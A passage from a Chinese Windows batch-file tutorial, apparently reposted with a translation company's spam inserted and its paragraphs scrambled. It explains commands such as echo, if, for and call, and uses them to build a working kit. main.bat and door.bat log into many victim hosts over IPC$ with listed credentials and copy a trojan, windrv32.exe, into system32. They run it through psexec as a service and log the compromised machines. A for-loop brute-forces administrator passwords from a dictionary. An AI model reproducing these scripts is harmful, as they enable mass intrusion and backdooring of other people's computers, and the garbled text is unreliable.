▲4. rem 指令
說明:註解指令,不會被履行,只是起一個註解的作用,便於他人浏覽和本身今後點竄。
用法:rem message
例如:@rem 獲得今朝日期實時間
■媒介 這只是一個主動種植後門批處置的雛形,兩個批處置懲罰和後門程式(Windrv32.exe,PSexec.exe)需放在統一目錄下翻譯批處理內容尚可擴充,例如:到場清除日誌和DDOS的功能,插手准時新增用戶的功能,更深切一點可使之具備主動傳播功能(蠕蟲)翻譯此處不多做敘述,有愛好的朋友可自行研究翻譯 例 8:for /f "usebackq delims==" %i in (`set`) do @echo %i 代碼雛形: ▲1. echo 指令 ▲7. start 指令 例10:for /f 「tokens=1翻譯社2翻譯社3 delims= 」 %%i in (victim.txt) do start call door.bat %%i %%j %%k ▲9. if 指令 ▲8. choice 指令 帶指令行開關的 for 指令: ▲6. call 指令 ▲2. @ 指令 ■一.簡單批處理內部指令簡介 ========================= 從這裡起頭複製,貯存為door.bat ========================= 透過 tokens= 最多可以指定 26 個符號,for變數最多可以同時使用52個 翻譯 ▲3. goto 指令 ▲10. for 指令 下面天成翻譯公司們舉幾個例子來具體說明一下for指令在入侵中的用處翻譯 用法:for /r [[drive:]path] %variable in (set) do command [command-parameters] 批處理檔案是無格局的文字檔案,包括一條或多條指令,檔案副檔名為 .bat或 .cmd翻譯按兩下該批處置懲罰檔案,系統就會調用cmd.exe,按次並逐個履行檔案中的各個指令,簡化平常或反複性義務翻譯 ▲5. pause 指令 用法:for /d %variable in (set) do command [command-parameters] 用法:for /l %variable in (start,step,end) do command [command-parameters] 例 9:for /f %%i in (dict.txt) do net use \\ip\ipc$>D:\ok.txt 用法:for /f ["options"] %variable in (file-set) do command [command-parameters]
感化:列舉目前環境中的情況變數名稱。
========================= 從這裡起頭複製,儲存為main.bat =========================
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1翻譯社2翻譯社3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
@goto end
:usage
@echo 履行此批處理檔案
:end
========================= 到這裡竣事複製,貯存為main.bat =========================
申明:顯示資訊,或將指令回顯開啟或關上。要顯示今朝回顯設定,輸入不帶參數的 echo。
用法:echo [on|off]
echo [message]
例如:
@echo off
echo hello world
備註:可將此指令和重定向符號(也稱管道符號,一般用> >> ^)連系起來實現輸入一些指令到特定檔案中翻譯
說明:啟動另一個視窗履行指定的程式或指令。
例如:start "指令行" /dC:\ cmd
分析:在新視窗中開啟cmd.exe,並以「指令行」為標題,初始目錄為C盤。
分析:主動給大量肉雞種後門和木馬。該指令按遞次將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat不過就是用net use指令來確立ipc$連接,並copy木馬+後門到victim,然後用返回碼(if errorlever =)來過濾器成功莳植後門的主機,並echo出來,或者echo到指定的檔案。
delims= 表示vivtim.txt中的內容是一空格來分隔的。所以victim.txt裡的內容應當根據%%i %%j %%k默示的對象來分列,一般就是「IP位址 密碼 帳號」。
說明:判斷是不是符合規定的前提,從而決定執行分歧的指令翻譯
用法:if [not] errorlevel number command
if [not] string1==string2 command
if [not] exist filename command
例 1:if errorlevel 2 goto x2
感化:如果返回碼等於2,程式則跳轉到標籤為x2的行履行翻譯
備註:DOS程式履行時會返回一個數字,即errorlevel,稱為毛病碼或返回碼,常見的返回碼為0、1翻譯
例 2:if 「%1」==」a」 format a:
感化:若是參數為a,則格局化A盤翻譯
例 3:if not exist config.sys echo 檔案不存在
感化:若是檔案config.sys不存在,則顯示「檔案不存在」。
申明:讓用戶輸入一個字元,從而執行不同的指令。利用時應當加參數/c:,/c:後為提醒可輸入的字元,之間無空格。它的返回碼依序為1翻譯社 2翻譯社 3, 4……
例如:
@echo off
choice /c:dme /m "defrag,mem,end"
rem 應先判定數值最高的返回碼
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errorlevel 1 goto defrag
:defrag
echo defrag
goto end
:mem
echo mem
:end
echo good bye
闡發:此檔案履行後,將顯示「defrag,mem,end [D,M,E]?」,用戶可選擇d,m或e,然後if語句進行判定,d默示履行標號為defrag的程式段,m表示執行標號為mem的程式段,e示意履行標號為end的程式段。
說明:從批處置程式挪用另外一個批處置程式。call 指令許可調用方針標籤。
用法:call [drive:][path]filename [batch-parameters] [:label [arguments]]
例如:call d:\backdoor.bat
備註:檔案副檔名必需是 .bat 或 .cmd。
申明:@後面的指令將不會顯示。
例如:
@echo off
@echo 初始化程式,請稍候…
@format X: /q
========================
@net use \\%1\ipc$ %3 /user:"%2"
@if errorlevel 1 goto failed
@echo 測驗考試設立建設 IPC$ 連接 ………… 成功
@copy windrv32.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ok.txt
@psexec \\%1 c:\windows\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 後門>>ok.txt
:failed
@echo 不克不及連線到此主機
========================= 到這裡結束複製,儲存為door.bat =========================
在相鄰字串上可使用 for /f 分析邏輯;方式是,用單引號將括號之間的 file-set 括起來翻譯如許,該字串會被當作一個檔案中的一個單一輸入行。
最後,您可以用 for /f 指令來闡發指令的輸出翻譯方法是,將括號之間的 file-set 變成一個反括字串(Esc鍵下面的按鍵)。該字串會被看成指令行,傳遞到一個子 cmd.exe,其輸出會被抓進記憶體,並被當作檔案闡發。
說明:跳轉到指定標籤,程式將執行指定標籤下一行入手下手的指令。
用法:goto lable
例如:
if {%1}=={} goto noparms
if {%2}=={}nul
感化:不顯示資訊,有利於用戶自訂資訊。
申明:在指定的範圍內循環履行指令。
備註:在批處置懲罰檔案中使用 for 指令時,指定變數請利用 %%variable,而不要用 %variable翻譯
用法:for {%variable|%%variable} in (set) do command [command-parameters]
參數:%variable 變數。只能是單一字母,分大小寫和全局,所以 %i 不同於 %I。
(set) 一個或一組檔案。可使用萬用字元。
command 對每個檔案執行的指令。
command-parameters 指令行開關。
申明:查抄以 [drive:]path 為根的目次樹。若是在 /r 後沒有指定目次,則利用今朝目次翻譯如果集僅為一個單點(.)字元,則枚舉該目次樹翻譯 (root)
例 3:for /r %i in (.) do @echo %i
感化:枚舉目前目次下的全部子目錄名路徑翻譯
例 4:for /r %i in (*) do @echo %i
感化:枚舉目前目次及子目次下的全部檔案名稱路徑。
申明:將程式掛起,按任意鍵後繼續履行。
例 1:pause
顯示:請按肆意鍵繼續. . .
例 2:pause >nul
感化:不顯示資訊,有益於用戶自訂資訊。
說明:假如集中包括萬用字元,則指定與目錄名查對,而不與檔案名稱查對。(directory)
例 1:for /d %i in (*) do @echo %i
感化:列舉今朝目次下的子目錄名。
例 2:for /d %i in (*g*) do @echo %i
作用:列舉今朝目錄下的子目次名含g的名稱。
申明:以增量情勢從起頭到竣事一個數字序列翻譯(list)
例 5:for /l %i in (1,1,5) do @echo %i
感化:產生序列 1 2 3 4 5翻譯
例 6:for /l %i in (5,-1,1) do @echo %i
感化:產生序列 5 4 3 2 1。
剖析:哄騙for指令來實現對一台目的winnt主機的暴力密碼破解。我們用net use指令測驗考試和目標主機進行連接,當做功時記下密碼。用%i來默示administrator的暗碼,%i的值在dict.txt中獲得,然後將程式運行結果傳遞給find指令,ok.txt中的值即為目標主機的暗碼翻譯
for /f ["options"] %variable in ("string") do command [command-parameters]
for /f ["options"] %variable in ('command') do command [command-parameters]
申明:file-set為一個或多個檔案名稱。/f 闡明每一個檔案的每一行,跳過空白行。"options" 關鍵字:
eol=c - 行註解字元的結尾(就一個)
skip=n - 在檔案入手下手時略過的行數。
delims=xxx - 分隔符集。庖代空格和跳格鍵的預設分隔符集翻譯
tokens=x翻譯社y,m-n - 每行的哪一個符號被傳遞到每一個迭代的 for 本身。
這會導致額外變數名稱的分派。m-n花樣為一個範圍。
透過 nth 符號指定 mth。若是符號字串中的最後一個字元星號,
那麼額外的變數將在最後一個符號解析之後分配並接管行的保留文字。
usebackq
在作為指令履行一個後引號的字串而且一個單
引號字元為文字字串指令並許可在 filenameset
中利用雙引號擴起檔案名稱。
例 7:for /f "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k
感化:分析 myfile.txt 中的不以分號開頭(eol=;)的行,將每行按逗號和空格分成幾段(delims=; ),再將每行的第2段、第3段及第3段今後的剩餘段分別賦值給變數%i、%j、%k。對於帶有空格的檔案名稱,需要用雙引號將檔案名稱括起來。
以下文章來自: http://blog.xuite.net/yupsky/blog/46761634-BAT%EF%BC%9A%E6%89%B9%E8%99%95%E7%90%86%E6%95%99%E5%AD%B8有關各國語文翻譯公證的問題歡迎諮詢天成翻譯公司02-77260931
留言列表